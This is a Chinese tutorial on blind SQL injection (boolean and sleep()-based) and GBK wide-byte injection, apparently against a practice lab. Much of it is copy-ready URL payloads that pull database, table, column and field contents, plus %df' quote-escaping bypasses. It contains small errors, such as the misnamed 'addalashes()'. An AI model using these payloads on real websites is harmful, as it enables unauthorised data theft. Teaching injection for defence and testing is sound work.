SQL注入篇學(xué)習(xí)之盲注/寬字節(jié)注入
盲注
有時(shí)目標(biāo)存在注入,但在頁(yè)面上沒有任何回顯,此時(shí),我們需要利用一些方法進(jìn)行判斷或者嘗試得到數(shù)據(jù),這個(gè)過(guò)程稱之為盲注。
時(shí)間盲注其實(shí)和布爾盲注其實(shí)沒有什么太大的區(qū)別,只不過(guò)是一個(gè)依靠頁(yè)面是否正常判斷,一個(gè)是否延時(shí)判斷,在操作上其實(shí)也差不多,只不過(guò)時(shí)間注入多一個(gè)if()
布爾盲注
布爾很明顯就是true和false,也就是說(shuō)它只會(huì)根據(jù)信息返回true和false,也就是沒有了之前的報(bào)錯(cuò)信息。
時(shí)間盲注
界面返回值只有一種true,無(wú)論輸入任何值,返回情況都會(huì)按照正常的來(lái)處理。加入特定的時(shí)間函數(shù),通過(guò)查看web頁(yè)面返回的時(shí)間差來(lái)判斷注入的語(yǔ)句是否正確。
盲注函數(shù)
length() 函數(shù) 返回字符串的長(zhǎng)度
?id=1 and length(database())>1
substr() 截取字符串 , 從第一位截取一個(gè)
?id=1 and substr(database(),1,1)='k'
ord()/ascii() 返回字符的ascii碼
?id=1 and ord(substr(database(),1,1))=107
limit 0,1 顯示第一條
substr(截取的內(nèi)容,截取的位數(shù),截取的個(gè)數(shù))
substr(database(),1,1) 顯示第一位字符
時(shí)間型:sleep(n) 將程序掛起一段時(shí)間,n為n秒
if(expr1,expr2,expr3) 判斷語(yǔ)句 如果第一個(gè)語(yǔ)句正確就執(zhí)行第二個(gè)語(yǔ)句,如果錯(cuò)誤執(zhí)行第三個(gè)語(yǔ)句
?id=1' and if(length(database())=8,1,sleep(5))-- +
演示語(yǔ)句
猜數(shù)據(jù)庫(kù)的長(zhǎng)度; ?id=1 and (length(database()))>11# 猜測(cè)數(shù)據(jù)庫(kù)的庫(kù)名: ?id=1 and ascii(substr(database(),1,1))>1# 猜表名(示例為查詢第一個(gè)表名) and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 //注意括號(hào)問(wèn)題 and substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),1,1)='l' 猜第一個(gè)字段名第一個(gè)字符: and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1)='i' 猜第一個(gè)字段名第二個(gè)字符: and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),2,1)='i' 猜第二個(gè)字段名: and substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),2,1)='l'# 猜字段中的內(nèi)容: and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122 時(shí)間盲注猜測(cè)數(shù)據(jù)庫(kù)的長(zhǎng)度: ?id=1" and if(length(database())=12,sleep(5),1) -- + 猜測(cè)數(shù)據(jù)庫(kù)的庫(kù)名: if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+ 猜測(cè)數(shù)據(jù)庫(kù)中表的長(zhǎng)度: ?id=1" and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1) -- + 猜測(cè)數(shù)據(jù)庫(kù)中的表名: ?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=120,sleep(5),1) -- + 猜測(cè)表中的字段名的長(zhǎng)度: ?id=1" and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1))=2,sleep(5),111) -- + 猜測(cè)表中的字段名: ?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1),1,1))=73,sleep(5),111) -- + 猜測(cè)字段中內(nèi)容的長(zhǎng)度: ?id=1" and if(length((select flaglo from loflag limit 0,1))=111,sleep(5),111) -- + 猜測(cè)字段中的內(nèi)容: ?id=1" and if((ascii(substr((select flaglo from loflag limit 0,1),1,1)))=120,sleep(5),111) -- +
burp抓包演示
先判斷長(zhǎng)度,再判斷內(nèi)容
寬字節(jié)注入
php魔術(shù)函數(shù)
- magic_quotes_gpc(魔術(shù)引號(hào)開關(guān))——> 防御sql注入
- magic_quotes_gpc函數(shù)在php中的作用是判斷解析用戶提交的數(shù)據(jù),如包括有:post、get、cookie過(guò)來(lái)的數(shù)據(jù)增加轉(zhuǎn)義字符“\”,以確保這些數(shù)據(jù)不會(huì)引起程序,特別是數(shù)據(jù)庫(kù)語(yǔ)句因?yàn)樘厥庾址鸬奈廴径霈F(xiàn)致命的錯(cuò)誤,防止注入使其無(wú)法閉合。
- 單引號(hào)(’)、雙引號(hào)(”)、反斜線(\)等字符都會(huì)被加上反斜線
開啟方式
php在版本5.4開始將魔術(shù)引號(hào)的設(shè)置轉(zhuǎn)化為特定函數(shù)addalashes()使用,$b = addcslashes($_REQUEST[8]);
不在配置文件中打開【原因是將安全編碼交給了用戶自己,避免用戶過(guò)度依賴造成安全隱患】,或者在php.ini中修改。
開啟效果
作用
當(dāng)PHP的傳參中有特殊字符就會(huì)再前面加轉(zhuǎn)義字符’\’,來(lái)做一定的過(guò)濾
繞過(guò)方法
單引號(hào)和雙引號(hào)內(nèi)的一切都是字符串,那我們輸入的東西如果不能閉合掉單引號(hào)和雙引號(hào),我們的輸入就不會(huì)當(dāng)作代碼執(zhí)行,就無(wú)法產(chǎn)生SQL注入,那我們?cè)撛趺崔k?
- 不需要閉合
- 仔細(xì)查看作用域(
POST、GET、COOKIE
),$_SERVER
就在作用域之外。 - 寬字節(jié)注入
寬字節(jié)注入
盡管現(xiàn)在呼吁所有的程序都使用unicode編碼,所有的網(wǎng)站都使用utf-8編碼,來(lái)一個(gè)統(tǒng)一的國(guó)際規(guī)范。但仍然有很多,包括國(guó)內(nèi)及國(guó)外(特別是非英語(yǔ)國(guó)家)的一些cms,仍然使用著自己國(guó)家的一套編碼,比如我國(guó)的gbk、gb2312,作為自己默認(rèn)的編碼類型。也有一些cms為了考慮老用戶,推出了gbk和utf-8兩個(gè)版本(例如:dedecms)
我們就以gbk字符編碼為例,拉開帷幕。GBK【雙字符編碼】全稱《漢字內(nèi)碼擴(kuò)展規(guī)范》,gbk是一種多字符編碼【多個(gè)字符組在一起成為一個(gè)字】。他使用了雙字節(jié)編碼方案,因?yàn)殡p字節(jié)編碼所以gbk編碼漢字,占用2個(gè)字節(jié)。一個(gè)utf-8編碼的漢字,占用3個(gè)字節(jié)。
- 核心:傳一個(gè)字符將反斜杠吃掉成為漢字
- 數(shù)據(jù)庫(kù)使用GBK編碼可能存在寬字節(jié)注入
- MySql的編碼設(shè)置:
SET NAMES 'gbk'
或是SET character_set_client =gbk
- 寬字節(jié)SQL注入就是PHP發(fā)送請(qǐng)求到MySql時(shí)使用了語(yǔ)句
SET NAMES 'gbk'
或是SET character_set_client =gbk
進(jìn)行了一次編碼,但是又由于一些不經(jīng)意的字符集轉(zhuǎn)換導(dǎo)致了寬字節(jié)注入。- %df \、%9c \ ——>漢字
- 繞過(guò)其中的單引號(hào)等字符,除了采用嵌套法
?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)-- +
- 也可以采用十六進(jìn)制標(biāo)識(shí)法
?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=0x6368696e615f666c6167 limit 1,1-- +
- 寬字節(jié)注入可以直接傳入漢字
總結(jié)
到此這篇關(guān)于SQL注入篇學(xué)習(xí)之盲注/寬字節(jié)注入的文章就介紹到這了,更多相關(guān)SQL盲注/寬字節(jié)注入內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Sql Server下數(shù)據(jù)庫(kù)鏈接的使用方法
Sql Server下數(shù)據(jù)庫(kù)鏈接的使用方法...2006-12-12Lakehouse數(shù)據(jù)湖并發(fā)控制陷阱分析
這篇文章主要為大家介紹了Lakehouse數(shù)據(jù)湖并發(fā)控制陷阱分析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步早日升職加薪2022-03-03利用SQL腳本導(dǎo)入數(shù)據(jù)到不同數(shù)據(jù)庫(kù)避免重復(fù)的3種方法
這篇文章主要給大家介紹了關(guān)于利用SQL腳本導(dǎo)入數(shù)據(jù)到不同數(shù)據(jù)庫(kù)避免重復(fù)的3種方法,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧。2017-10-10詳解IDEA中便捷內(nèi)存數(shù)據(jù)庫(kù)H2的最簡(jiǎn)使用方式
這篇文章主要介紹了詳解IDEA中便捷內(nèi)存數(shù)據(jù)庫(kù)H2的最簡(jiǎn)使用方式,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2021-03-03數(shù)據(jù)庫(kù)修改多對(duì)多的中間表的記錄的技巧
修改多對(duì)多的中間表的記錄的方法,需要的朋友可以參考下。提高效率。2010-01-01mongoDB和mysql對(duì)比分析及選擇(詳細(xì)版)
這篇文章主要介紹了mongoDB和mysql對(duì)比分析及選擇(詳細(xì)版),需要的朋友可以參考下2023-06-06在SQL Server和Oracle中創(chuàng)建job
有的時(shí)候,我們可能需要在數(shù)據(jù)庫(kù)中設(shè)定一些自動(dòng)執(zhí)行的任務(wù)(job),以此來(lái)自動(dòng)完成一些包括統(tǒng)計(jì)、備份方面的需求,下面就簡(jiǎn)單說(shuō)明一下有關(guān)ms server和oracle兩種數(shù)據(jù)庫(kù)中如何新建自動(dòng)任務(wù)。2009-06-06